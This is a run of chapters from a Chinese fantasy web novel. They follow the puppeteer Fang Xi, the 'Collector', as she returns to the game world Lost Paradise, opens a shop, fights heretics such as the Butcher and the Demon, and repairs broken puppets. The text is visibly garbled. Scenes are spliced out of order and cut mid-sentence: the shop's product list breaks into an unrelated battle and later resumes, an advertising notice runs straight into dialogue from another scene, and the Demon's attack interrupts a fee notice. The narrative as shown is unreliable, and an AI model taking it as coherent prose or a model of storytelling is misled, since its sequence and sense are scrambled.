居然这么多人类期待她的回来，这种感觉真神奇。 方羲想了想，敲击游戏面板。 【非专业收藏家】：我回来了。 半分钟后。 “什么！！！” “天，真的假的？！收藏家你上线了？！” “乐，某些人消息好像不是很灵通，我半个小时前就知道了（邪魅一笑）” “楼上滚啊！！！” “我也听说收藏家现在很安全，没有性命之忧，大家可以放心了。” “天啊，我好想哭怎么办。太感动了QAQ收藏家你知道自己创造了一个多么不可思议的奇迹吗？” “别的不说。单论收藏家能只带着二十名首席玩家进入恶魔副本，不仅杀死了恶魔，二十个人全部好好活着，这简直是梦里也不可能的事……” “说起来，既然收藏家回来了…我已经可以想象到某几个人炫耀的光景了（怒）” “（痛苦面具）（流下了没被选中的泪水）” 群聊的对话走向越发诡异。 世界被涂满金色的光芒。 秦淮月的心底，蓦然冒出一阵极其强烈的预感。 这一切像是在做梦的奇遇……江队，你拜托我要找的答案是不是要来了？ 但水母的声音，显然没能立刻把方羲叫出来。 秦淮月在原地等了好一会，才看到一个身影从船头冒了出来。 “我、不、喜、欢、这、种、玩、笑！”方羲目光冰冷地瞪向水母，“你的脑子是不是没有长全？除了我哪来的人……” 四目相对。 在这个混乱交叠的时空里，唯二存在的人类都愣了一下。 那双异色的眼睛，在这一刻不可思议地瞪大。眼底暗藏的那阵猎人无比熟悉的死寂、绝望、疲惫、伤心、沉默……忽然像是被什么大火熊熊烧掉了一样，在短暂的滞空之后，倏忽亮起一种比太阳本身更璀璨的光芒。 “秦淮月？” 那人惊喜地、又好像和她同样不敢相信眼前一切地问道：“你怎么……你居然在这里。” 第 184 章 第 184 章 “……” “你是人？还是怪物？” 那人愣了一下，显然被猎人这种问题戳中了心事，但很快又理直气壮地说：“我当然是人。” 她似乎第一眼就认出来自己的身份……秦淮月一向过目不忘，所以完全可以确信，船上的这个人她从来没有见过。 这是谁？ 怎么会有人身处……不，倒像是生活在副本核心？ 这里就是未知之境的尽头吗？ 异端无处不在。 它们躲在四周暗中观察，第一次见过除了方羲之外的人类，忍不住哗啦啦地流下口水，和同伴嘀嘀咕咕起最完美的吃法。 偏偏异端们交流的时候，用的还是人话。 所以当那些“清蒸还是红烧”“一口吞还是切碎”诸如此类的话，传入秦淮月脑海里的时候，她实在有点头皮发麻。 【三天之后，排名十万之内的新晋玩家可正常上线。】 【明天起，新晋玩家可正常在星网上登录失乐园外置游戏论坛。】欧律狄刻说，【午夜十二点，我将发布这一项通知。】 因为方羲上线了，所以欧律狄刻决定解除所谓的“无期限更新”。 方羲得到了满意的回答，又给猫猫丢了两块虾仁，然后打开黑天鹅的界面，继续摸鱼上网。 除了宋白玉、程蔓野已经加过，方羲在界面搜索了一下剩下十八名首席玩家的名字，给他们一一发送了好友申请，方便之后有事联系。 处理一下未读消息。 【银月】：010007#，000901 【银月】：前一个是帝国异端特情部的热联号码，转接号137，接线员是失乐园的退役真实玩家。 【银月】：后一个是我的私人号码。 【银月】：尽管直接说似乎有些冒犯……未经过真实试炼的新晋玩家，理论上可以无限复活，但依然存在直接暴毙的可能性。所以我们一向默认新晋期的玩家，不需要接触真实度过高的副本。 【银月】：虽然你很喜欢剑走偏锋，但我想，你应该有准备死亡之后的后手。 秦淮月的消息发送时间在三十天前。 方羲扫了眼这两串号码，看上去还怪简单好记的。不过，真要放到现实里去打，应该都打不通，对方星球甚至接受不到自己这边的信号。 【非专业收藏家】：记得多休息，少刷副本。 【非专业收藏家】：（猫猫揣手手） “喵喵。” 桌边又冒出一个橘色猫头，期待地看着方羲。 “虾仁没了。”方羲挑了一块牛仔骨投喂给晨乌猫猫。 回过神来，方羲发现秦淮月已经给了回复。 【银月】：刚刚听说你回来了。 【银月】：最近几乎没有副本可刷，因为你杀死了恶魔，异端似乎进入了“静默期”，像是冬眠的蛇。很多专家和密匙玩家现在正在调查这件事。 【银月】：你的身体状态怎么样？有什么事情需要我帮忙吗？ 方羲扒拉完最后一口饭，回了个“无”。 【银月】：好，如果有任何事情，请随时联系我。 点开与【黑天鹅001】的对话界面，方羲相当神秘莫测地回个“没事”。 略过后台一大堆陌生玩家的私信……应该没什么事了。 餐桌对面冒出一个绿色脑袋——春醒坐到方羲对面，期待地问：“趁你不在的时候，我又把店铺的格局改了一下，分成了内展厅和外展厅！你打算什么时候开店？” 方羲：思考.jpg 方羲合上饭盒盖子，把玳瑁猫猫放在桌上，从游戏背包取出一本普通的笔记本和黑笔，开始绞尽脑汁思考“商品种类”。 【强推商品：奇妙的红苹果】 【常驻商品：可自由设定口味的提拉米苏、上弦月的邪恶祝福魔药、星星落败的尸体、万物生长的种子、晨乌的幸运猫毛……】 【定制商品： 特殊副本求助（难的，请将具体详情投放到许愿瓶，店主偶尔会查看；简单的，多投喂猫猫，它们有概率帮你） 可爱猫猫的陪伴（看猫猫们的心情） 护身符（随机掉落） ……谁让你——这样拙劣地模仿蚂蚁，试图捕捉那些细微到几乎不存在的区别，还有思考今天和明天该怎么活，思考笼罩微渺之上的黑云是什么？ 左眼跳动得比心脏更快。 斗篷的异端之血飞速凝聚出一把手枪，人偶师随之高高抬起手，对着天花板开了一枪。 无数厚重的书籍忽然哗哗作响，四周凭空卷起一片凛冽寒风。 子弹卡住天花板，千万道蛛网般的缝隙骤生。 “秦淮月，击穿它的大脑！” 猎人抬眼，收藏家的造梦场又一次为她使用，她终于清晰看见了‘屠夫’的模样，也终于听懂它嘴里的咕哝声。 “真麻烦，蒲公英被你杀死了，我回头只能自己重建图书馆……不过，补上半边大脑才是正事。” 为什么这只异端这么执着于人类的器官？还是大脑的那一部分？ 这点些微的疑惑，在秦淮月心中如流星般转瞬即逝。 屠夫的身躯在她们面前，开始疯狂鼓动、扩大。 本体挤压人皮。 炸成一片金色尘埃，轻飘飘从高空落下 身躯冲破天花板，踩碎大地，变成一个支撑天地的巨人。屠夫的本体依然是一个人类，被手术刀践踏的血脸，飞速长出新的表皮。 拥有浑然天成的五官，带着似有似无的邪气。 没有瞳孔的白瞳垂眼，微笑着注视两只蚂蚁。 大块大块的建筑石块向下砸落。 秦淮月迅速找了个最近的狙击点，把长枪切换为步枪。她没有选择转头去营救战斗力要弱一筹的方羲，而是继续执行攻击的命令。 因为她知道，收藏家根本不会有事。 哪怕收藏家不懂得开枪最标准的姿势，也不像其他傀儡师接受过特定的体能训练。 但这里依然是她的造梦场。她的战场。 最不需要遵循现实规则的无上之地。 连步枪的子弹也超越常理，自动瞄准屠夫的大脑射去。 金色凶兽又一次显形，开心地咬住镰刀斩落的半只手臂，眯着兽瞳，血口的兽牙上下交错咀嚼，把战利品吞入腹中。 方羲躲过建筑碎屑的袭击，站在最后方的碎石堆上，无聊地抬起手，抵在额头。 没有白云的天空，蔚蓝得有点过分了。 屠夫完全不在乎这些小打小闹，就算了被镰刀斩腰，也能飞速复原。巨人般的身躯依然坚定不移地站在原地，目光沉沉盯着略显狼狈的方羲。 “其实，我们不介意你成为我的同类。”屠夫说，“恶魔也说，你是微渺中的异类。为什么一定要坚守着蚂蚁的身份，而不选择永恒呢？” 人偶师观察着秦淮月、晨乌和艾莉克萨的攻击力度，发现她们很难近身到屠夫的大脑。 以晨乌的巨兽体型，倒是可以直接吃掉。但她现在倒有点不确定起来了，万一根系在猫猫肚子里消化不良怎么办？ 屠夫还在等待回答。 如果她不同意，又能怎么样？怪物会在乎蚂蚁的抉择吗？ 人偶师手中凝现出长弓，右手搭在弦上，拉起一束刺目的光箭。 虽然破例了，但只是这么一次，所以没关系。 秦淮月的阻击点恰好与方羲的位置面对面，此时远远看见收藏家手里似乎拿着一把长弓，心底掠过一丝浅淡的惊讶。 收藏家的真实武器是一把弓吗？ 思绪只闪过短短的一瞬，她继续开枪扫射。但随之远处的白辉愈发刺眼，以十字架的形状，明明灭灭地闪烁。 她忽然想起了什么，心脏又漏跳一拍。 方羲瞄准着屠夫的头颅，她知道该射向哪一条神经元。 光箭放出。 一道巨大的破空声响起。 如同惊雷，贯穿整个虚伪之境。 其余有待补充，涉及灵魂的棘手之事，请先转告副店长春醒或猫猫店员，店主不上班。】 总体的商品种类堪称乱七八糟，尤其是常驻商品那块，相互之间简直毫无关联。不过对于部分喜欢淘宝的玩家来说，应该问题不大。 而且手里的残肢材料净化度全是九十以上，应该不会卖不出去。 至于【菜单……】 方羲才刚写下一个“炒”字，手里的笔记本立刻被敏锐的春醒夺走。 春醒警惕地说：“你这么懒，根本不会做饭，而且批量制作还会影响小店的口碑！这个部分我来管就好了！” 方羲想辩解她当然会做饭！不然她一个人怎么活？（平时喝劣质营养液） 但在春醒幽幽的注视下，方羲还是默默闭上了嘴巴。 “这些东西都放在皮箱里，你随便拿吧。”方羲嘀咕道，“我看看……做一个广告宣传好了。等失乐园三天后恢复运行，我们就可以开业了！” 春醒立刻开心地跑去工作室。 打开游戏面板，进入【商铺管理】。 欧律狄刻提醒：【您尚未为139号店铺命名。】 方羲想了想，输入：收藏家的小卖部。 欧律狄刻很难评价这种简单直接的店名，但还是给予通过。 方羲瞬移到店内，拍摄了几张图片，撰写开店文案，相当认真地制作了一封宣传广告，时长花费一小时。 注册小卖部官方运营账号，点击发送广告。 发送成功。 阅读量：-1 “这样啊……那离我注册游戏的时间，还远得很呢。”方羲说，“不过，你肯定在这段路上耽误了很长一段时间，说不定等你回到游戏世界之后，我们很快就能认识。” 方羲把军用手环塞回秦淮月手里。 “谢谢你的拜访。” “我还以为……一切都尘埃落定。” 一层一层上涌的海浪，冲淡了人类器官的血色。 那人的脸上带着某种像是释然又像是解脱的笑，衣袖和长发都顺着清爽的海风，轻轻飘起。而左边那只雕刻着十字架的眼眸，在此刻也泛着一种奇异的光芒，仿佛与背后升起的太阳光线重叠。 “你的任务成功了。” “这张欠条，我们一笔勾销。” “你身上有南瓜的气息，看来她在门外等你——请原路返回吧。”那人微笑道，像是在安慰秦淮月也像是在安慰自己，“不用担心，我很快就会重新【上线】。” 第 185 章 第 185 章 看着方羲把秦淮月送走，一直在露天甲板上晒太阳的一千零二，这才慢悠悠地飞了下来。她用自己那锐利的眼珠子扫了一眼海滩，指指点点道：“方羲，你什么情况！居然乱丢垃圾！这次我可不会帮你搞干净！” 而方羲刚从海岛其他地方走回来，就远远地看见一千零二在对着那堆她刚刚丢到沙滩的【垃圾】怒骂，不由得心虚了一下，于是赶紧走过去——把垃圾塞进一千零二肚子里。 一千零二：“……” 早知如此，她就不说了。 “你怎么忽然看起来这么高兴？”一千零二问，“好久没见到你这个样子，你之前一直都摆着个黑脸，简直像是得了自闭症一样。” 沙滩上也忽然长出一根枝条，几片大叶子，一个花苞。 春醒从花苞里冒了出来，也好奇地看着方羲。 “看。” 方羲把口袋里那个微型的全息设备拿出来，在一千零二和春醒面前炫耀似的甩了甩，又小心翼翼地放回口袋里。 春醒疑惑地问：“那是什么？” 【由于您信用分过低，阿拉斯代尔之城的内置系统无法为你进行初始推流，你的初次宣传已被自动屏蔽。】 【是否支付100000个金币解除屏蔽？】 “……” “夺少？！”蚂蚁可以逃过神明的践踏吗？ 她不知道。 “滋啦——” 什么声音？ 副本裂出一个缺口。 恶魔哼笑一声：“你放心吧！我还是不太舍得杀死你！万一你有一天改变了注意呢？不过，你杀了我很多个好不容易培养的手下！蒲公英是你杀的，屠夫是你杀的，女神像也是你杀的！你还贪婪地戏弄乘务员！所以我决定——让那些普通人类因你而死！” 方羲眼眸微动了一下，目光落在底下不断扩张的缺口。 副本在投影失乐园的游戏世界。 高空之下，是无数普通玩家活动的区域，曾被失乐园官方亲手认证——绝对不会被异端袭击的最安全的游戏区域。 她甚至隐约听见了专属系统的机械声。 藤蔓啪地一声断裂。但它身上共生着一名人类的灵魂，说难听点，就是还没消化干净。 方羲思考两秒，走到艾莉克萨旁边，力量轻柔地摸了摸她的头。 艾莉克萨被吵得烦躁不安的神色，此时才慢慢恢复平静，又变回一座美丽寂静的雕像。 方羲把皮箱放置在办公桌，扣动按钮打开，再一次取出手术刀、绷带、消毒液等医护工具。 九百号的碎碎念一顿。 “杀死我就好了，不用这么麻烦。” 他相当活泼好动，似乎想走到方羲旁边继续说点什么，但马上被秦淮月滴落着鲜血的长枪拦住去路。 猎人凛冽的目光在沉沉盯着他。 “收藏家，这是？” 方羲摸摸下巴：“一个年龄最少也有一百岁的老年人？简单的说，一百年前被异端连皮带骨吃掉的人类。但可能灵魂太过坚硬的缘故，他的自我意识连异端也消化不了。” 九百号大声嚷嚷：“老年人？你这是歧视！歧视！” 眼见着猎人的长枪压根没有回收的样子，九百号投降般举起手，脑子忽然想起了什么，连忙像刚刚和艾莉克萨说话那样，又重复了一遍自我介绍。 这两个人接下来的目光肯定充满了崇拜，九百号在脑海中洋洋得意地畅想了一会。 但回过神，他震惊地发现两个人压根不为所动，秦淮月依然举着长枪，没有丝毫松懈地看着他——差点忘了，他现在的身份是‘屠夫’，这里还是第六百六十六层的外壳……猎人说不定根本听不懂他的话，只觉得这是异端嘶哑难听的噪音。 九百号一时间有些丧气，深深地叹了一口气。 方羲从皮箱取出一个晶莹剔透的玻璃瓶：“这个瓶子怎么样？懒得找了，就选这个吧。” 把手术刀之类的工具和玻璃瓶放在一起，九百号看着这些净化度一百的材料，顿时感觉自己的身体似乎抽痛起来了。 这个瓶子……该不会是打算用来装他的灵魂吧？ 他惊惧地后退好几步，躲在书柜后面，一副紧张兮兮如临大敌的样子。 但出乎金发先行者预料的是，方羲压根不急着给他‘动手术’，反而丢下手头里所有工具，转头欢快地开始捡书。 方羲先是把办公桌上的人类书籍通通丢进可怜的皮箱，虽然她不看，但这些书说不定可以二手变卖。然后又跑到其他书柜前，挑选有趣的残肢材料。 直接无视了某人。 九百号：“？” 方羲发现地面似乎掉了一本什么东西，捡起来查看，叫做【一号集邮册】，里面关押着两只半死不活的傀儡。 所有人、所有替行者同时坠入高空。 “收藏家！”林镜子惊呼一声，竭尽全力挥动魔杖，尝试抓住方羲的手。 所有玩家也是同一个反应，几乎是声嘶力竭地叫着她的名字——明明只不过是一个毫无意义的假名而已。 “林镜子！快用你们的天赋！” 但，四个造梦家们的【天赋】在这一刻仿佛不管用了，因为异端的侵蚀力太强，他们保持意志清醒，已经是很不容易的事情了。 而且方羲发现，她比队友坠落得更快，像是被针对了一样。 风声好大。 龙鳞雕刻而成的口哨，也顺着大风，从胸口间蹦出，项链弯弯曲曲地飘动。 方羲远远看着队友惊慌的神情越发模糊，身影一个个缩小，几乎要消失在肉眼的视野里。 至于恶魔——它依然傲慢地飘荡在最高空，仿佛在重演五年前的胜利。 而失乐园的游戏区域，无数个真实级以上的玩家，乃至于退役玩家、实力前百的新晋玩家，全被紧急传召而来。 被失乐园缔造的虚假蓝天，已经沦为一片阴云，投影着无数异端细胞，嘶哑尖利的声音在人类脑海中凭空响起，仿佛寄生在大脑神经深处。 “所有人立刻退出游戏！” “专属系统呢？！快点强制所有普通玩家下线！” “——怎么会有副本入侵到这种地步？等等，天空怎么有人的身影？谁在副本之内？” “是不是收藏家？！难道是……失败了吗……” 天空之上是神明傲慢的嘲弄声，天空之下是蚂蚁绝望嘶吼的求救声。 距离副本彻底与游戏区域重叠，似乎只差分毫。 一旦与这个高达千层外壳的大型高危副本，达成百分百重叠。再多、再强大的精英前哨也无法挽救。 全部人，只能共同见证这一场前无前例的灾难。 方羲想了想，摸了摸手腕上的月亮眼球，轻声说：“上弦月，好好看着吧，我让恶魔的尸体坠落在月亮之下。” 她抓起白龙的鳞，放进唇边。 在深海打着瞌睡的白龙，猛地睁开眼睛，轻轻晃了晃尾巴，游出大海，锋利的龙爪重重地拍向大地。 世界响起一阵悠长的龙呤。 恶魔震惊地瞪大眼睛，什么情况？怎怎怎么又多了一只巨型人偶？ “接住他们。” 方羲惊呆了：“我发个广告还要收钱？？？这都快追上一个月的月租了吧？为什么？我的信用分究竟有多低？不至于吧？” 【您的店铺信用分为：-3000】 【扣除原因： 您曾在阿拉斯代尔之城启用过真实副本，由于您的造梦领域覆盖了该区域，系统无法将139号店铺投放区域。鉴于其危险性，每日自动扣除50信用分。 并且您在两月之内并未产生任何营业额，严重占据商业城的资源，已为你扣除200信用分。 此为，您的店铺收到了匿名者的投诉，理由正当合法，扣除200信用分。】 方羲翻了一下【商铺管理】的未读信息，沉默。 好像的确有这么几条处罚通知，但是她当时还在副本，当然看不到。 至于匿名投诉……阿拉斯代尔之城主要作为星际人民的第二活动世界，而且没有真实副本生成。有的企业家也仅仅是借助失乐园这个平台，来发展自己的事业，其背后的财富和权势程度堪称只手遮天。 一个长达两个月没有经营的奇怪店铺，店主还来历不明，查不到任何背后信息。已经引起了部分有心人的暗中观察，钻了些空子故意投诉。 “很有趣的命运分配，不是吗？” 脚下的银河在不断变化、刷新，爆炸出全新的陨石和星星。 “正负抵消么？”1000轻声道，“你的回答总是出人意料。” 方羲耸了耸肩，忽然想到什么，严肃地说：“对了！1000，我需要你帮忙解决我的弱点！” “请放心。”1000忽然露出一个微笑，苍老的声音仿佛在这一刻变得轻灵、活泼，“我一定会守护好你的【上线通道】，上一次的事故……从此以后，再也不会发生。” 【那么，现在。】 【白乌鸦，你要登录游戏吗？】 第 186 章 第 186 章 【玩家“白乌鸦”登录中……】 【检测到玩家“白乌鸦”下线地点较为特殊，系统已自动将其投放回个人空间……】 【登录成功！】 【现在是星历2518年7月31日，时隔九百五十五个日夜……白乌鸦，失乐园欢迎您的归来。】 睁眼。 一只美丽的晶钩蝶在人偶师眼前悄然飞过，轻轻落在一朵含苞待放的郁金香上。 被砍断的树墩长出了新叶子，顺着轻风摇摆，发出飒飒的响声。 小木屋熟悉的身影映入眼帘。 春醒眉头一皱，眼神冷酷地扫了一眼这片杂乱无章的草坪，上面留着一连串沾着泥土的车轮印、疑似某橘色毛茸茸制造的爪痕、乱七八糟压根没清理过的鸦毛……还有夏青禾的脚印。 方羲和一千零二也注意到这一点，她们忍不住后退了一大步，试图远离怒气积攒中的春醒娃娃。 春醒率先打开了小木屋的大门，往里面一看，顿时更沉默了。 方羲罕见地主动说：“我也来一起打扫！” 一千零二转了转眼珠子，声音中带着一丝迟疑、逃避，不确定地说：“那、那我也一起！”哼哼，等会她找个借口溜走不就行了。 方羲微微一笑，缓缓合上四脚兽饲养手册，徒留这四只灵魂百思不得其解。 再从皮箱取出从看似食人鱼实则蒲公英那里掉落的一大堆宝石，还有装着九百号的蓝色宽口玻璃瓶，暂且全放在一边，晚点再说。 春醒忽然推门而入，幽幽地看了一周四周……果然如此。 春醒思考两秒，又无声无息地离开工作室，决定眼不见心不烦。 基本清点完战利品，方羲终于打开【关押傀儡的集邮册】。 里面有两只傀儡的尸体。几缕黑色头发忽然抬起，猛地把它压在办公桌，顺势缠绕住异端的全身。 屠夫一时之间动弹不得。 艾莉克萨忽然站起来，抬手把那只奇怪的麻醉针丢在地上。 右手穿过金色短发，死死抓住屠夫的后脑勺，指甲长出锋利的尖刃，扎进血肉。 砰地往桌上凶狠撞去。 第一下，屠夫的头颅只被撞出一片擦伤，嘴里还努力发出绝望的求饶声，右大脑闪过一阵深深的疑惑。 奇怪，虽然它的力量以“智商”出名，但也不是那种战斗力弱小的偏科异端，怎么到了这只傀儡手中……它一点力气也用不出来？ 第二下，屠夫的头颅莫名其妙几个血窟窿，血液哗啦啦地流下。身体被黑色发丝咕噜噜冒出的沼泽覆盖，发出滋啦烧灼腐蚀的声音。 木头书和魔法书面面相觑，默契地躲在最角落的书柜，暗中观察却不敢出手。 第三下，屠夫的右大脑放弃了思考。 艾莉克萨正打算撞第四下，却忽然听见屠夫喉咙冒出另外一种陌生的声音。 “停停停停停停！我醒了！我真的醒了！别再撞了！虽然异端和我共体，但我也能感觉到疼痛的好吧……呜呜呜，你怎么能这么凶QAQ” 但艾莉克萨没有松开手，盯了‘屠夫’好一会，才勉强分辨出这只异端身上的确好像有别的什么东西。 她抬头瞥了一眼躲在角落的两本书：“这是什么？” 魔法书乖巧地说：“被你们称作‘先行者’的家伙。” 木头书用书角挠挠头，紧接着魔法书用另一个更简单易懂的说法：“就是比较强壮的人类。” 魔法书继续爆出屠夫的秘密，试图让艾莉克萨转移注意力，希望镰刀别打到它们身上：“每隔十个人类年，屠夫大人就会像这样变异。” 艾莉克萨这才勉强收回手，目光漠然地盯着他。 金发人类艰难地活动了一下四肢，胡乱地顺了一下自己的头发，随即抬头——目光炯炯地盯着艾莉克萨，满脸都写着对造物的赞美。 “你的创造者是谁？” “你的创造者去哪了？” “为什么你的创造者特地把你的生命降了一级？这样灵魂不会感觉不协调吗？” “咦，仔细一看，怎么你的灵魂颜色我好像没见过？你叫什么名字？我们能不能交个朋友？” 这名先行者絮絮叨叨的，完全没有闭嘴的趋势，这让艾莉克萨深深地皱起眉头。 “你怎么不攻击屠夫？是困在这里了吗？还是不小心误入这里了？不过也是，恶魔的外壳层数实在太多了。我一百年前进来之后，就根本走不出去了……” 他顿了顿，一拍脑袋，脸上温和的笑意忽然消失，声音变得极其冷酷。 “我差点忘记了，现在你们好像被叫做傀儡……我早说过了，这样等级的制作，根本无法抵抗异端。” “趁着我现在还清醒，‘我’就使用屠夫的权限，让这些外壳向你全方位通行吧，这样你就可以回去了。” “回去告诉你的创造者，恶魔并不是一个好惹的家伙，就说是我的告诫——我是第900号先行者。” 艾莉克萨冷漠地看了看这个人类，重新坐下，拿起一本放在办公桌上、似乎新上市的连载闲谈杂志《论失乐园那些不可思议的天才》。 金发人类：“……” 金发人类在艾莉克萨面前挥挥手，上下蹦跳，做了个鬼脸，像个猴子一样爬书柜，试图使用滑稽的动作吸引傀儡的注意力，但无一例外失败了。 “你怎么不理我？” “我算是看出来了——虽然你的内心燃着一团微弱的烛火，但投射着创造者最冷漠无情的一部分，难怪不爱理睬人。” “好吧……你的创造者居然是一个故步自封的家伙。说实话，在造物身上无意识投射这么多负面的东西，这可不是好事。” “虽然我很愿意陪你玩，但是，你真的不打算离开这里吗？我刚刚翻了一下屠夫的记忆，现在的人类和以前一样弱。还是先回家吧～” 艾莉克萨专门挑出‘收藏家’的那几页看，看完之后，轻轻合上书本。 “主人到了。” 说是尸体其实不太准确——因为傀儡即武器，她们已经失去了一切战斗力，只剩下一口气，一堆废铜烂铁。 但幸好这是沾染着灵魂的傀儡，所以还可以修复。 先修第一个。 【一名身负巨大六翼的兽形少女】 方羲把皮箱合上，拎在手里，然后轻触集邮册的第一页。 眨眼的瞬间，人直接踏入集邮册的里世界。 一朵轻盈的鸦羽缓缓落在方羲的头顶。 禁锢六翼的锁链，像是受了外来者的惊扰一样，下意识剧烈晃动起来，连带着方羲脚下的天空岛也在轰然地震。 “安静一点！”方羲暴躁地喊了一句，她可是刚康复不久的可怜病人！实在经不起折腾！ 与世隔绝的巨型锁链，闻言颤抖了一下，乖巧地恢复寂静。链子之间长出细小的眼睛，密密麻麻的一片，打量着奇怪的入侵者。 方羲上前查看了一下这只傀儡的状态，她被巨型锁链常年封锁，四肢已经失去血液的循环供养，但六只羽翼还在不断长出新的羽毛，一片片坠落。 方羲戳了戳兽形少女的脸——傀儡的身体像是豹子一样矫健，眼睛像林中凶兽一样危险，还一脸冷漠警惕，试图挣脱锁链咬她！ 方羲迅速收回手！ 有点凶。 但毕竟现在动不了，也打不到她！ 所以方羲故意哼笑几声。 “灵魂碎了好多片，你失去了【理性】。” 方羲想了想，决定先修复傀儡的灵魂，再解决缠在她身上的锁链。 这也是为了避免这只凶兽攻击自己，方羲今天没什么力气打架。 手中凝现出雕刻刀。 少女似乎预感到什么，有些惊恐地瞪大眼睛，神情有些露出几分畏惧，但还是在努力张开长着尖牙的嘴巴，喉咙挤出破碎的呜咽声，像是有气无力的威胁。 方羲微微眯了眯眼睛，比对了一会少女灵魂的形状，脸上有点茫然——太杂乱无章了，灵魂的成分不够凝炼，所以才会被外界轻易轻易打碎。 破碎的傀儡，其实应该要由创造者本身亲自修复，不过都受伤到这种地步了，方羲觉得把两堆“废铜烂铁”送回去好像不太道德。 也没必要注入新的灵魂，只要修整一下“灵魂的形状”，让它们交融得更完美就够了。 【稚嫩的赤子之心】 “玩家‘十月霜华’，您的初始职业为：傀儡师。” “请选择材料，制作您的第一只傀儡！” “制作失败。” “制作失败。” “制作失败。” …… “制作成功！” “是否命名？” “您的傀儡命名为：应钟。” 【高傲野蛮的狩猎者】 “十月霜华的傀儡好厉害。” “就是有点凶，我上次差点被她咬了一口QAQ” “那是因为你在她非战场状态去故意招惹吧……” “她会说话吗？” “好像不会，但是能完全理解我们的指令。有时候我甚至从她的眼神里感受到一丝丝蔑视QAQ” “可怜。” 【不惜一切代价的自我牺牲】 【异端的漫不经心】：“收藏家终于死啦——”这个惊天大新闻在异端的世界里掀起滔天巨浪，所有异端都在为这个消息欢呼、呐喊，并且为杀死您的国王献上了一顶王冠！从此以后，它们不再把心思放在注视您上，因为您已经死了，上哪去注视您呢？ 【消失的乘务员】：由于您长期不在线，也没人给乘务员发催债信，所以它已经很久不还钱了。 已制作的人偶：春醒、一千零二、晨乌、艾莉克萨、夏青禾、南瓜马车女士、■■■ 已制作的傀儡：狸花猫（花花）、三花猫（玉面）、缅因猫（朏朏）、小黑猫（星渚）、玳瑁猫（鸳鸯）、鬼魂守卫（艾伦）、大白鸦、老鹰、彩色鹦鹉、知更鸟、啄木鸟、北长尾山雀、柳莺 普通数值和特殊数值还和以前一样，连系统自动评价也没有变过：失乐园无法用数字量化您的的具体实力。 方羲忽然注意到，在个人信息界面的左下角，有一个华丽的奖章。 咦？这个她以前好像没有见过。 方羲下意识点了一下。 界面立刻蹦出一大段详情解释。 【您于星历2515年7月31日初次注册游戏，成为了第三十三届新晋赛的一员，新晋排名历史最高为第七十九名。】 【您曾参加过两场真实副本“杰克的玩具工厂”、“从没有失败案例的医院”。 三场仿真副本“怪物收容所”“0413号随机仿真训练”“0777号随机仿真训练”。 一场由您亲自创造的造梦副本“失落的人类故乡”。 还有一场杀死恶魔、已载入帝国历史的伟大战役。】 【截止星历2518年7月31日，您与您的人偶，一共建立了100个锚点（点击查看详情）。】 【您音信全无……但您所创造的一切伟绩，帝国将永远铭记于心。】 方羲：“……” 方羲眉头一皱，这不对吧？ 第 187 章 第 187 章 一千零二机敏地问：“■■，你在看什么？” 方羲移开视线：“没看什么。” 可不能让自大的一千零二知道这件事，不然她一定会不顾一切，都非要飞去浮空岛凑个热闹不可。 一千零二转了转眼珠子，心里种下一颗怀疑的种子。 虽然感觉建雕像这件事情有点离谱，甚至有一丝诡异，但方羲还是暂且把这些多余的事丢到一边。重新打开那一百名首席玩家前往战场的记录看了一遍，记下他们进入副本的坐标地点。 为了防止异端故技重施，欧律狄刻正在加班加点给她建立屏障，隔绝一切拔掉网线的可能性。 所以距离出发也要再等一会。 方羲戳了戳一千零二的书壳：“把那个东西拿出来给我。” “什么什么？”一千零二没理解到方羲的意思，胡搅蛮缠道，“什么那个东西？哪个东西？■■，你能不能说得清楚一点？” “投影机。”方羲进一步解释道。 “哦……”一千零二挠了挠书角，一边往自己肚子里翻找，一边嘀咕道，“可你不是说材料不够，实在没办法【制作成功】吗？” “现在有了。” 方羲翻了翻背包，把那些关键材料逐一取了出来，放在工作桌上。 方羲下意识蹲下身，盯着三只可爱猫猫进食。 小黑猫和小玳瑁的吃相略显优雅一些，晨乌猫猫就有些狼吞虎咽，不愧是橘猫。 屠夫陷入诡异的沉默。 光明女神也无语了。 它们不想再和这个连智商都没有、主打一个能苟则苟的同类交流。 魔法书忽然说：“咦？地上怎么会有黑头发，我们刚刚不是打扫过吗？” 屠夫思绪一断，缓缓抬头。 长长的黑色发丝，遍布顶层的图书馆地面，如同一片纯黑的幕布。 地面浅浅泛起一圈粘稠的沼泽波纹，露出一对黑羊之角和盯着屠夫的红色眼眸。 光明女神和大迷宫敏锐地察觉到屠夫这边似乎发生了什么，迅速切断通话。 屠夫咬咬牙，脸上还没来得及露出一个象征着人类表达友好的礼貌微笑，刚好从外面飞回来的木头书尖叫道：“笨羊！你想干什么！这里是世界观最顶层的图书馆！只有我和魔法书才能被屠夫大人破例允许进入！” 艾莉克萨站在两本书和屠夫面前，闻言，红色眼眸微动，目光略有好奇地缓缓落在四周的书柜上。 【似乎能够回答任何问题的百科全书】 【贴满微型人脸的第九十八号集邮册】 【越阅读就越逆时针生长的女巫之书】 …… 看上去好像都不是什么正经书。 不具备任何审时度势能力的木头书，还在扑腾小翅膀疯狂叭叭叭：“虽然你看上去好像力量很强大，但也不能这么暴力吧！要学会遵守规矩！而且这里储存着十万本世间最浩瀚无垠的书，万一不小心被你破坏了怎么办？” 黑羊少女微微歪头。 “我也想要这些书。” 或许是方羲在傀儡诞生之初，丢给过她几本科普基础常识的书看，这让艾莉克萨萌生了一点对书籍的‘兴趣’。 不过现在，艾莉克萨觉得，说不定方羲对这些东西更感兴趣。 那就不能像之前那样随便破坏了，她得在主人到来之前，好好守护这个宝藏。 而且屠夫在艾莉克萨眼中，已经是囊中之物。 主人还在来第六百六十六层的路上，贸然杀死第二条根系，可能会导致其他副本的倾覆，异端的尸体说不定会砸到主人。 所以艾莉克萨不介意和屠夫多待一会。 木头书继续尖叫：“谁告诉你异端细胞可以看书了？不对，快把你的头发收起来！” 屠夫轻轻叩击了一下桌面。 木头书瞬间闭嘴。 艾莉克萨的目光落在屠夫身上，眼底没有丝毫感情，冷冰冰的，像是在看一只蚂蚁。她的眼神完全吻合无数人类印象中，异端的注视。 屠夫从办公桌上站起来，它今天披了一张颜值超高的男性猎人人皮。金色短发，长长的精灵耳，带着蓝宝石耳坠，身材略显瘦削轻盈，姿态优雅地走到艾莉克萨面前。 它打量着艾莉克萨的‘构造’，脸上罕见地露出一丝惊叹。 多么完美的人造之物……人造的生命。 屠夫从口袋里拿出一支奇怪的麻醉针，往自己的左大脑注射。半分钟后，它才艰难地压下这些纷杂的人性的部分。 屠夫微笑着，试探性问道：“你想投靠我吗？” “不要。” 艾莉克萨脸上很平静。 